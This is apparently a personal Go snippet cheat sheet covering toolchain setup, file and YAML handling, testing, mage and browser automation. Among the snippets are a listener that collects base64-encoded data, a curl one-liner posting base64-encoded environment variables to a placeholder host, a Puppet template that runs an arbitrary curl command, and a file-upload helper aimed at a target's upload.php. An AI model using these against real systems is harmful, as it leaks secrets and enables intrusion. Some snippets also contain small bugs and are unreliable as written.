dl_link='https://dl.google.com/go/go1.15.7.linux-amd64.tar.gz'
wget -c $dl_link -O - | sudo tar -xz -C /usr/local
echo "" >> ~/.bashrc
echo '# Golang exports' >> ~/.bashrc
echo 'export PATH="$PATH:$:/usr/local/go/bin"' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
source ~/.bashrc
# Test:
go version

export GOPATH=$HOME/programs/go
# Set GOROOT since we're using brew
export GOROOT="$(brew --prefix golang)/libexec"
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin:${GOROOT}/bin"

{
  "go.gopath": "/Users/kresna/.gvm/pkgsets/go1.19.1/global",
  "go.goroot": "/Users/kresna/.gvm/gos/go1.19.1"
}

GIT_ACCT_NAME='l50'
PROJECT_NAME='awesomegoproject'

mkdir -p "${GOPATH}/src/github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"
cd $_
go mod init "github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"

export GO111MODULE=off
go get github.com/<git account name>/<project name>

COMMIT=83490424629dc4b4c91b39c47bdd18b1b6510743
go get github.com/l50/awsutils@$COMMIT

var a string = "Hello"
var b string = "World"
c := fmt.Sprintf("%s %s!", a, b)
fmt.Println(c)

dlv debug -- -a argument -b another_argument

func RemoveTrailingEmptyStringsInStringArray(sa []string) []string {
  lastNonEmptyStringIndex := len(sa) - 1
  for i := lastNonEmptyStringIndex; i >= 0; i-- {
    if sa[i] == "" {
      lastNonEmptyStringIndex--
    } else {
      break
    }
  }
  return sa[0 : lastNonEmptyStringIndex+1]
}

func readLines(filePath string) ([]string, error) {
  b, err := os.ReadFile(filePath)
  if err != nil {
    return nil, err
  }

  return RemoveTrailingEmptyStringsInStringArray(strings.Split(string(b), "\n"))
    , nil
}

func removeExtn(input string) string {
 if len(input) > 0 {
  if i := strings.LastIndex(input, "."); i > 0 {
   input = input[:i]
  }
 }
 return input
}

// Helper function to determine if a command is installed
func CommandExists(cmd string) bool {
 _, err := exec.LookPath(cmd)

 if err != nil {
  fmt.Printf("%v\n", err)
  return false
 }

 return true
}

func uploadFile(targetUrl string, fileName string) error {
    bodyBuffer := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuffer)

    fileWriter, err := bodyWriter.CreateFormFile("fileToUpload", payload)
    if err != nil {
        return err
    }

    fh, err := os.Open(fileName)
        if err != nil {
     fmt.Printf("Error opening file: %v\n", err)
     return err
        }

    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(
      fmt.Sprintf("http://%s/upload.php", targetUrl), contentType, bodyBuffer)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    respBody, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    fmt.Println(resp.Status)
    fmt.Println(string(respBody))
    return nil
}

env GOOS=darwin GOARCH=amd64 go build -o osx

env GOOS=linux GOARCH=amd64 go build -o linux

func greatFunc(param1 string, param2 string, param3 string) (bool, string) {
// body omitted
return true, returnString

    var payload = `  include myfile
}`

// FindExportedFunctionsInPackage finds all exported functions in a given Go
// package by parsing all non-test Go files in the package directory. It returns
// a slice of FuncInfo structs. Each contains the file path and the name of an
// exported function. If no exported functions are found in the package, an
// error is returned.
//
// **Parameters:**
//
// pkgPath: A string representing the path to the directory containing the package
// to search for exported functions.
//
// **Returns:**
//
// []FuncInfo: A slice of FuncInfo structs, each containing the file path and the
// name of an exported function found in the package.
// error: An error if no exported functions are found.

// LogInfo represents parameters used to manage logging throughout
// a program.
//
// **Attributes:**
//
// Dir: A string representing the directory where the log file is located.
// File: An afero.File object representing the log file.
// FileName: A string representing the name of the log file.
// Path: A string representing the full path to the log file.
type LogInfo struct {
  Dir      string
  File     afero.File
  FileName string
  Path     string
}

// File is an interface representing a system file.
//
// **Methods:**
//
// Open: Opens the file, returns a io.ReadCloser and an error.
// Write: Writes contents to the file, returns an error.
// RemoveAll: Removes a file or directory at the specified path, returns an error.
// Stat: Retrieves the FileInfo for the specified file or directory,
// returns an os.FileInfo and an error.
// Remove: Removes the specified file or directory, returns an error.
type File interface {
  Open() (io.ReadCloser, error)
  Write(contents []byte, perm os.FileMode) error
  RemoveAll() error
  Stat() (os.FileInfo, error)
  Remove() error
}

path := filepath.Join("/tmp", "foo" ,"bar")
if _, err := os.Stat(path); errors.Is(err, os.ErrNotExist) {

    if err := os.Mkdir(path, os.ModePerm); err != nil {
        return err
    }
}

import "strconv"
strconv.Itoa(123) // "123"

package main

import (
    "fmt"
    "os"
    "strings"
)

func main() {
    var text string
    fmt.Print("Enter text: ")
    // get the sub string to search from the user
    fmt.Scanln(&text)

    // read the whole file at once
    b, err := os.ReadFile("input.txt")
    if err != nil {
        panic(err)
    }
    s := string(b)
    // //check whether s contains substring text
    fmt.Println(strings.Contains(s, text))
}

import (
    "strings"
)

srcString := "blablabla"
subString := "bla"
if strings.Contains(srcString, subString) {
    fmt.Printf("%s is present in %s.\n", subString, srcString)
} else {
    fmt.Printf("%s is not present in %s.\n", subString, srcString)
}

import "fmt"
import "path/filepath"

func main() {
 t := "/etc/init.d/somefile"
 fmt.Printf("base is %q dir is %q is it absolute? %v\n",
  filepath.Base(t),
  filepath.Dir(t),
  filepath.IsAbs(t))
 d, f := filepath.Split(t)

 fmt.Printf("split returns file %q dir %q\n", f, d)
        fmt.Printf("clean it up %q", filepath.Clean("a/b/c/../d//////../../f"))
}

d := "/etc/bla/bla2/bla3/"
filepath.Clean(filepath.Join(d, "../")) // /etc/bla/bla2

fmt.Println(filepath.Dir("/root/.ansible/site.yml"))

base := filepath.Base("/home/dennis/IdeaProjects/Playground/hello.go")
fmt.Println("Base:", base)
# returns hello.go

usr, _ := user.Current()
dir := usr.HomeDir

if path == "~" {
    // In case of "~", which won't be caught by the "else if"
    path = dir
} else if strings.HasPrefix(path, "~/") {
    // Use strings.HasPrefix so we don't match paths like
    // "/something/~/something/"
    path = filepath.Join(dir, path[2:])
}

filename := "file.txt"
name := "bob"

content := fmt.Sprintf("Stuff and things go into this string for %s\n", name)
f, err := os.Create(filename)

if err != nil {
    fmt.Printf("Failed to create file: %v\n", err)
    return err
}

defer f.Close()

_, err = f.WriteString(content)

if err != nil {
    fmt.Printf("Failed to write content to %s: %v\n", filename, err)
    return err
}

return nil

package main

import (
  "log"
  "os"
  "path"
  "text/template"
)

type Command struct {
  ClassName string
  CmdName   string
  Cmd       string
}

func main() {
  command := Command{
    ClassName: "my_cmd",
    CmdName:   "cmd",
    Cmd:       "curl target.com:8001/asdf",
  }

  t := template.New("puppetModule.tmpl")

  t, err := t.ParseFiles(path.Join("templates", "puppetModule.tmpl"))

  if err != nil {
    log.Fatal("Parse: ", err)
  }

  err = t.Execute(os.Stdout, command)
  if err != nil {
    log.Fatal("Execute: ", err)
  }
}

class {{.ClassName}} {
  exec { '{{.CmdName}}':
    path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
    command => '{{.Cmd}}'
  }
}

go get -u -v -insecure "${TARGET_GO_PROJ}"

import (
  "fmt"
  "math/rand"
  "time"
)

func randInt(min int, max int) int {
  return min + rand.Intn(max-min)
}

func main() {
  start := 1
  finish := 6
  rand.Seed(time.Now().UTC().UnixNano())
  fmt.Printf("%v", rand.Intn(finish-start)+start)
}

import "strings"
strings.ToLower("Gopher")

import (
  "os"
  "log"
)

 func CpFile(src string, dst string) {
   input, err := os.ReadFile(src)
   if err != nil {
     log.Println(err)
     return
   }

   err = os.WriteFile(dst, input, 0644)
   if err != nil {
     log.Println("Error creating", dst)
     log.Println(err)
     return
   }
 }

package main

import (
 "fmt"
 "runtime"
)

func main() {
 if runtime.GOOS == "linux" {
  fmt.Println("You are running on Linux")
 } else if runtime.GOOS == "darwin" {
  fmt.Println("You are running on OSX")
 } else if runtime.GOOS == "windows" {
  fmt.Println("You are running on Windows")
 } else {
  fmt.Println("Unsupported OS detected")
 }
}

func Gwd() string {
 dir, err := os.Getwd()
 if err != nil {
  log.Fatalln(err)
 }
 return dir
}

go get github.com/some/tool@v1.0.1

package some_test

import (
 "testing"
)

func TestSomething(t *testing.T) {
 tests := []struct{
  name string
  // input and output go here
 }{
  {
   name: "something"
   // input and output go here
  },
  {
   name: "another thing"
   // input and output go here
  },
 }

 for _, tc := range testCases {
  t.Run(tc.name, func(t *testing.T) {
   // call function or method being tested
   // check outcome
  })
 }
}

package docs_test

import (
  "fmt"
  "log"
  "os"
  "strings"

  "github.com/l50/goutils/v2/docs"
  "github.com/l50/goutils/v2/fileutils"
)

func ExampleFixCodeBlocks() {
  input := `Driver represents an interface to Google Chrome using go.

It contains a context.Context associated with this Driver and
Options for the execution of Google Chrome.

` + "```go" + `
browser, err := cdpchrome.Init(true, true)

if err != nil {
    fmt.Printf("failed to initialize a chrome browser: %v", err)
    return
}
` + "```"
 language := "go"

 // Create a temporary file
 tmpfile, err := os.CreateTemp("", "example.*.md")
 if err != nil {
    fmt.Printf("failed to create temp file: %v", err)
    return
 }

 defer os.Remove(tmpfile.Name()) // clean up

 // Write the input to the temp file
 if _, err := tmpfile.Write([]byte(input)); err != nil {
   fmt.Printf("failed to write to temp file: %v", err)
   return
 }

 if err := tmpfile.Close(); err != nil {
   fmt.Printf("failed to close temp file: %v", err)
   return
 }

 // Run the function
 file := fileutils.RealFile(tmpfile.Name())
 if err := docs.FixCodeBlocks(file, language); err != nil {
   fmt.Printf("failed to fix code blocks: %v", err)
   return
 }

 // Read the modified content
 content, err := os.ReadFile(tmpfile.Name())
 if err != nil {
   fmt.Printf("failed to read file: %v", err)
   return
 }

 // Print the result
 fmt.Println(strings.TrimSpace(string(content)))
 // Output:
 // Driver represents an interface to Google Chrome using go.
 //
 // It contains a context.Context associated with this Driver and
 // Options for the execution of Google Chrome.
 //
 // ```go
 // browser, err := cdpchrome.Init(true, true)
 //
 // if err != nil {
 //     fmt.Printf("failed to initialize a chrome browser: %v", err)
 //     return
 // }
 // ```
}

GOCACHE=off go test -v -race ./...

go test -v -count=1 -race ./...

DIR_WITH_TESTS=prometheus
go test -v -race "./.../${DIR_WITH_TESTS}"

go test -v -run ^TestGwd$ github.com/l50/goutils

#!/bin/bash

set -e

logfile="test_log.txt"
rm -f "$logfile"

for d in ./*/ ; do
    if [[ $d != ./.*/ ]]; then
        (
            echo "Running tests in: $d"
            start=$(date +%s)
            go test -failfast -race -v "$d..." > "${d//\//_}.log" 2>&1
            end=$(date +%s)
            duration=$((end - start))
            echo "Tests in $d took $duration seconds." >> "${d//\//_}.log"
        ) &
    fi
done

# Wait for all background tasks to finish
wait

# Combine all the individual log files into one
cat ./*.log >> "$logfile"

# Remove individual log files
rm ./*.log

cmd := "puppetserver ca list --all"
strArr := strings.Fields(cmd)
fmt.Println(strArr[0])
// Will print: puppetserver

strings.Join(arr []string, separator string) string

func stringInSlice(a string, list []string) bool {
 for _, b := range list {
  if b == a {
   return true
  }
 }
 return false
}

if stringInSlice("bla", blaSlice) {
   fmt.Println("Gotem!")
}

package main

import (
    "fmt"
    "log"
    "os"
)

func main() {
    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    words := []string{"sky", "falcon", "rock", "hawk"}

    for _, word := range words {

        _, err := f.WriteString(word + "\n")

        if err != nil {
            log.Fatal(err)
        }
    }

    fmt.Println("done")
}

s := string([]byte{65, 66, 67, 226, 130, 172})
fmt.Println(s) // ABC€

strings.Join(arr []string, separator string) string

func fileToSlice(fileName string) ([]string, error) {
    b, err := os.ReadFile(fileName)
 if err != nil {
  return nil, err
 }
 return strings.Split(string(b), "\n"), nil
}

m := "stuff to write in file"
err = os.WriteFile("./file.txt", m, 0644)
if err != nil {
 log.Printf("error: %v", err)
}
package main

import (
    "fmt"
    "log"
    "os"
)

func main() {

    f, err := os.Create("data.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    _, err2 := f.WriteString("old falcon\n")

    if err2 != nil {
        log.Fatal(err2)
    }

    fmt.Println("done")
}

af, err := os.OpenFile(asnsFile,os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

irf, err := os.OpenFile(ipRangesFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Printf("error: %v", err)
}

defer af.Close()
defer irf.Close()

if _, err := af.WriteString("stuff\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", af, err)
}

if _, err := irf.WriteString("More stuff!\n"); err != nil {
    log.Fatalf("Error writing to %v: %v", irf, err)
}

type ansible []struct {
 Name   string   `yaml:"name"`
 Hosts  string   `yaml:"hosts"`
 Become bool     `yaml:"become"`
 Roles  []string `yaml:"roles"`
}

b, err := os.ReadFile("./ansible.yml")
if err != nil {
 log.Fatal(err)
}

d := ansible{}
err = yaml.Unmarshal(b, &d)
if err != nil {
 log.Fatal(err)
}
log.Printf("%v", d)

d[0].Roles = append(d[0].Roles, "hello2")
log.Printf("%v", d)

m, err := yaml.Marshal(&d)
if err != nil {
 log.Fatalf("error: %v", err)
}

err = os.WriteFile("./ansible_modified.yml", m, 0644)
if err != nil {
 log.Fatalf("error: %v", err)
}

// GetYamlFile returns the input YAML file as a byte slice.
func GetYamlFile(yamlFile string) ([]byte, error) {
    yfile, err := os.ReadFile(yamlFile)
    if err != nil {
        return nil, err
    }

    return yfile, nil
}

yamlFileLoc := "file.yaml"

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

// PrintYaml prints the contents of the input YAML file.
func PrintYaml(yamlFile []byte) {
    fmt.Printf("---\n%s\n", string(yamlFile))
}

yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
    log.WithError(err).Error("Failed to read the input yaml file.")
    os.Exit(1)
}

PrintYaml(yfile)

type Animal struct {
    Name              string `yaml:"name"`
    Description       string `yaml:"description"`
    Species           string `yaml:"species"`
}

// GetAnimalMap returns the contents of the input animal YAML
// file as a map of Animals.
func GetAnimalMap(yamlFile []byte) (map[string]Animal, error) {
    animalList := make(map[string]Animal)

    if err := yaml.Unmarshal(yamlFile, &animalList); err != nil {
        return nil, err
    }

    return animalList, nil
}

animalMap, err := GetAnimalMap(yfile)
if err != nil {
    log.WithError(err)
    os.Exit(1)
}

// Print unmarshalled YAML
for k, v := range animalList {
    fmt.Printf("Name: %s\n", v.Name)
    fmt.Printf("Description: %s\n", v.Description)
    fmt.Printf("Species: %s\n\n", v.Species)
}

var data2 = `
---
- hosts: all
  remote_user: root
  roles:
  - common

- hosts: lb_servers
  remote_user: root
  roles:
  - lb-nginx

- hosts: backend_servers
  remote_user: root
  roles:
  - tomcat

- hosts: memcached_servers
  remote_user: root
  roles:
  - memcached
`

// Create new empty set
set := make(map[string]bool)

// Add new element to the set
set["bla"] = true

// Print the elements of the set
for k := range set {
    fmt.Println(k)
}

// Add item to set if it's not already there
if !set["bla"] {
    set["bla"] = true
}

file := "ansible.cfg.old"
matched, _ := regexp.MatchString(`ansible.cfg$`, file)
// Return false
fmt.Println(matched)

line := "hostname.example.com"
validHostname, _ := regexp.MatchString(`
^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9]
[A-Za-z0-9\-]*[A-Za-z0-9])$`, line)
if validHostname {
    fmt.Println(line)
}

err := os.Rename(filepath.FromSlash(fmt.Sprintf("content/post/%s", file)), noPublishFolder)
check(err)

fmt.Printf("%#v", bigSlice)

// Operating from /home/user/dir
absFilePath = ""
path, err := filepath.Abs(Cli.FilePath)
if err != nil {
    log.Printf("Error getting absolute path from %s", path)
}

absFilePath = path

go get github.com/gojp/goreportcard/cmd/goreportcard-cli

package validators

import (
 "fmt"
 "net"
 "regexp"
 "strings"
)

// IsEmailValid checks an input email to determine
// if it is a valid email address.
// Code was found at: https://golangcode.com/validate-an-email-address/
func IsEmailValid(email string) bool {
 var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")

 fmt.Printf("Validating email: %s\n", email)

 if len(email) < 3 && len(email) > 254 {
  return false
 }
 if !emailRegex.MatchString(email) {
  return false
 }
 parts := strings.Split(email, "@")
 mx, err := net.LookupMX(parts[1])
 if err != nil || len(mx) == 0 {
     fmt.Printf("Error, invalid email: %s", email)
  return false
 }
 return true
}

var x interface{} = r.FormValue("email")
xType := fmt.Sprintf("%T", x)
fmt.Println(xType) // "string"

fooType := reflect.TypeOf(result)
for i := 0; i < fooType.NumMethod(); i++ {
    method := fooType.Method(i)
    fmt.Println(method.Name)
}

import (
 "fmt"
 "net/http/httputil"
)

requestDump, err := httputil.DumpRequest(request, true)
if err != nil {
    fmt.Println(err)
}

fmt.Println(string(requestDump)

openssl req \
    -x509 \
    -nodes \
    -new \
    -keyout server.key \
    -out server.crt \
    -days 3650 \
    -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"

package main

import (
 b64 "encoding/base64"
 "fmt"
 "os"
 "log"
 "net/http"
 "net/http/httputil"
 "path/filepath"
 "regexp"
 "time"
)

func genFileName() string {
 t := time.Now()
 return t.Format(time.RFC3339) + ".txt"
}

func endpoint(w http.ResponseWriter, r *http.Request) {
 // Make sure input is a POST request
 if r.Method != http.MethodPost {
  w.WriteHeader(http.StatusMethodNotAllowed)
  fmt.Fprintf(w, "invalid_http_method")
  return
 }

 // Dump the request because we're not getting the right base64 value
 // when we do things properly with r.ParseForm()
 requestDump, err := httputil.DumpRequest(r, true)
 if err != nil {
  fmt.Println(err)
 }
        // For debugging purposes:
 //fmt.Println(string(requestDump))

 dataRegex := regexp.MustCompile(`stuff=(.*)`)
 groups := dataRegex.FindStringSubmatch(string(requestDump))
 decoded, err := b64.StdEncoding.DecodeString(groups[1])
 if err != nil {
  fmt.Println("decode error:", err)
  return
 }
        // print data when it comes in
 fmt.Println(string(decoded))

        // write the decoded data to a file
 filename := genFileName()
 err = os.WriteFile(filepath.Join("data", filename), []byte(decoded), 0644)
 if err != nil {
  log.Fatalf("error: %v", err)
 }

 fmt.Fprintf(w, "Data received, thanks!")
}

func main() {
 port := ":8080"
 mux := http.NewServeMux()
 mux.HandleFunc("/data", endpoint)
 log.Fatal(http.ListenAndServeTLS(port, "server.crt", "server.key", mux))
}

echo "stuff=bla" | curl -X POST -k https://yourhostname.com:8080/data -d @-

env_data=$(printenv | base64 -w 0)
echo "stuff=$env_data" | curl -X POST -k https://yourhostname.com:8080/data -d @-

func outputToFile(filepath string, content []byte,
  permissions os.FileMode) bool {
 err := os.WriteFile(filepath, content, permissions)
 if err != nil {
  log.Printf("error: %v", err)
  return false
 }
 return true
}

success := outputToFile(filepath.Join("~/ubuntu/output.txt", stufftowrite, 0644))
if success == true {
  fmt.Println("Wrote output to file successfully!")
}

GITHUB_USER=l50
APP_NAME=myapp
mkdir "${APP_NAME}"
cd $_
go mod init "github.com/${GITHUB_USER}/${APP_NAME}"
go install github.com/spf13/cobra-cli@latest

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT

cobra-cli init -a "${CONTACT}" -l "${LICENSE}"

CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT
CMD_NAME=commandname

cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"

CMD_NAME=new
SUB_CMD_NAME=subnew
cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"
cobra-cli add -p "${SUB_CMD_NAME}"

APP_NAME=myapp
go install "${APP_NAME}"

fmt.Println(viper.AllSettings())
fmt.Println(viper.AllKeys())

root
 ├── client
 │   ├── go.mod
 │   └── main.go
 └── lib
     ├── go.mod
     └── lib.go

require github.com/owner/root/lib v0.0.0
replace github.com/owner/root/lib => ../lib

replace github.com/mdanidl/guac-api => github.com/Startfield/guac-api latest

go install github.com/magefile/mage@latest

# Grab relevant string from git config for repo cloned with SSH
REPO=$(cat .git/config | grep github | awk -F '@' '{print $2}' | \
  tr ':' '/' | rev | cut -c5- | rev)
# Grab relevant string from git config for repo cloned with HTTPS
REPO="$(cat .git/config | grep url | \
  awk -F 'https://' '{print $2}' | rev | cut -c5- | rev)"
go mod init "${REPO}"

err := sh.Run("docker-compose", "down", "-v")
if err != nil {
    fmt.Printf("Failed to destroy the containers: %v\n", err)
    return err
}

output, err := sh.Output("whoami")
if err != nil {
    fmt.Printf("Failed to figure out who I am :(")
    return err
}
if strings.Contains(output, "apache") {
    fmt.Println(output)
} else {
    fmt.Printf("Not currently the apache user.\n")
}

mkdir magefiles
cd $_
cat > go.mod <<- EOM
module magefile

go 1.19

require (
        github.com/magefile/mage v1.12.1
)
EOM
mage -init

{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "Debug Mage Task",
      "type": "go",
      "request": "launch",
      "mode": "auto",
      "program": "${workspaceFolder}/magefiles/mage_output_file.go",
      "args": ["<Your_Mage_Task>"],
      // Pass magefile as a separate argument,
      // VSCode doesn't allow more than one file in "program".
      "buildFlags": "magefile.go",
      "preLaunchTask": "create mage_output_file.go and run code to debug",
      "postDebugTask": "delete mage_output_file.go"
    }
  ]
}

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "create mage_output_file.go and run code to debug",
      "type": "shell",
      "command": "mage --keep"
    },
    {
      "label": "delete mage_output_file.go",
      "type": "shell",
      "command": "rm -f mage_output_file.go"
    }
  ]
}

func Compile() error {
    fmt.Println(Compiling the code")

    env := map[string]string{
        "GOOS":   "linux",
        "GOARCH": "amd64",
    }

    return sh.RunWith(env, "go", "build")
}

---
repos:
  - repo: local
    hooks:
      - id: go-vet
        name: Run go vet
        language: script
        entry: .hooks/go-vet.sh

#!/bin/bash
set -e

pkg=$(go list)
for dir in */ ; do
  if [[ "${dir}" != ".mage" ]] && \
     [[ "${dir}" != "config/" ]] && \
     [[ "${dir}" != "logs/" ]]; then
    go vet $pkg/$dir
  fi
done

GO_VER=1.16.4
if hash go 2>/dev/null; then
  GVM_BIN=$HOME/.gvm/scripts/gvm
  export GOPATH=$HOME/programs/go
  if [[ ! -f $GVM_BIN ]]; then
    # Install gvm if it isn't installed
    bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
    source $GVM_BIN
    gvm install "go${GO_VER}"
  fi
  source $GVM_BIN
  gvm use "go${GO_VER}" --default
  # Add go to PATH - so we can run executables from anywhere
  export PATH="$PATH:${GOPATH}/bin"
fi

PROJECT_NAME=myproject
gvm pkgset create "${PROJECT_NAME}"
gvm pkgset use "${PROJECT_NAME}"
# Show the updated $GOPATH to confirm everything worked as expected
echo $GOPATH

gvm use go1.16.4 --default

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
 t.Helper()
 var testFile string
 if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
  testFile = filepath.FromSlash("/etc/passwd")
 } else if runtime.GOOS == "windows" {
  testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
 } else {
  t.Fatal("Unsupported OS detected")
 }
 return testFile
}

// Helper function that returns a test file based on the OS of the system
func getTestFile(t *testing.T) string {
        t.Helper()
        var testFile string
        switch runtime.GOOS {
        case "linux", "darwin":
                testFile = filepath.FromSlash("/etc/passwd")
        case "windows":
                testFile = filepath.FromSlash("C:/WINDOWS/system32/win.ini")
        default:
                t.Fatal("Unsupported OS detected")
        }
        return testFile
}

f, err := os.OpenFile("text.log",
 os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
 log.Println(err)
}
defer f.Close()
if _, err := f.WriteString("text to append\n"); err != nil {
 log.Println(err)
}

b, err := os.ReadFile(filePath)
errStr := err.Error()
fmt.Println(errStr)

f, err := os.Open(path)
if err != nil {
    return 0, err
}
defer f.Close()

// Splits on newlines by default.
scanner := bufio.NewScanner(f)

line := 1
// https://golang.org/pkg/bufio/#Scanner.Scan
for scanner.Scan() {
    if strings.Contains(scanner.Text(), "yourstring") {
        return line, nil
    }

    line++
}

if err := scanner.Err(); err != nil {
    // Handle the error
}

import strings
mystring := "         bla        "
strings.TrimSpace(myString)

package main

import (
    "fmt"
    "net/http"
)

func main() {
    http.HandleFunc("/", HelloServer)
    http.ListenAndServe(":8080", nil)
}

func HelloServer(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hooray, I am a webserver running on golang!")
}

t := time.Now()
fmt.Println(t)
t2 := t.AddDate(0, 0, 3)
fmt.Println(t2)

import "github.com/bitfield/script"

commanderOut, err := script.Echo("q").Exec(
    "keeper login [email protected]").Stdout()

w.Close()
out, _ := io.ReadAll(r)
os.Stdout = rescueStdout

if err != nil {
    return "", fmt.Errorf("failed to login to keeper: %v", err)
}

fmt.Printf("Captured stdout: %s", out)

package main

import (
    "context"
    "log"

    "github.com/chromedp/chromedp"
)

func main() {
    // Response
    var resp string

    // Target page
    targetURL := "https://somesite.com/place"
    // Element that needs to load on the page
    waitElement := "#progress"
    // Name of the JS var we want to get the value from
    targetVar := "token"

    options := append(chromedp.DefaultExecAllocatorOptions[:],
        // Don't run chrome in headless mode
        chromedp.Flag("headless", false),
    )

    // Create allocator context
    allocatorCtx, cancel := chromedp.NewExecAllocator(
        context.Background(), options...)
    defer cancel()

    // Create context
    ctx, cancel := chromedp.NewContext(allocatorCtx)
    defer cancel()

    err := chromedp.Run(ctx,
        getJSVarValue(
            targetURL,
            waitElement,
            targetVar,
            &resp,
        ),
    )

    if err != nil {
        log.Fatal(err)
    }

    log.Printf("The value of %s is: %v\n", targetVar, resp)
}

// retrieve value of the input JS variable
// from the target site after the waitElement
// has loaded.
func getJSVarValue(targetURL string, waitElement string,
    targetVar string, resp *string) chromedp.Tasks {
    return chromedp.Tasks{
        chromedp.Navigate(targetURL),
        chromedp.WaitVisible(waitElement),
        chromedp.Evaluate(targetVar, &resp),
    }
}

chromedp.SendKeys(`#mydropdown`, "Text label content")

go clean -modcache
go mod tidy

fmt.Printf("STRUCT FIELDS: %#v\n", mystruct)

goeval -i .=github.com/l50/[email protected] -i github.com/l50/goutils 'fmt.Println(utils.ListFilesR("/tmp"))'

goeval -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFunctionsInPackage("."))'

COMMIT=8d8f800fbba1101d5a98bfe5f612372c630bb115; \
goeval -i goutils=github.com/l50/goutils@$COMMIT 'fmt.Println(goutils.FindExportedFuncsWithoutTests("../awsutils/pkg/ec2"))'

goeval -E -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'

goeval -x -i .=github.com/l50/goutils@latest -i github.com/l50/goutils 'fmt.Println(utils.FindExportedFuncsWithoutTests("."))'

goeval -i goutils=github.com/l50/goutils@latest 'fmt.Println(goutils.FindExportedFunctionsInPackage("."))'

gosh -import='github.com/l50/goutils' -e 'fmt.Println(utils.ListFilesR("/tmp"))'

gosh -import='github.com/l50/goutils' \
  -e 'fmt.Println(utils.CommanderInstalled())' -show-filename

package main

import "fmt"

type Person struct {
 Name string
 Age  int
}

// Define a method receiver (p *Person) for the `sayHello` function
func (p *Person) sayHello() {
 fmt.Printf("Hello, my name is %s and I am %d years old.\n", p.Name, p.Age)
}

func main() {
 person := Person{Name: "Alice", Age: 30}

 // Call the sayHello function on the person instance
 person.sayHello()
}

go get -u github.com/davecgh/go-spew/spew

import "github.com/davecgh/go-spew/spew"
...

spew.Dump(struct)

goreleaser release --snapshot --clean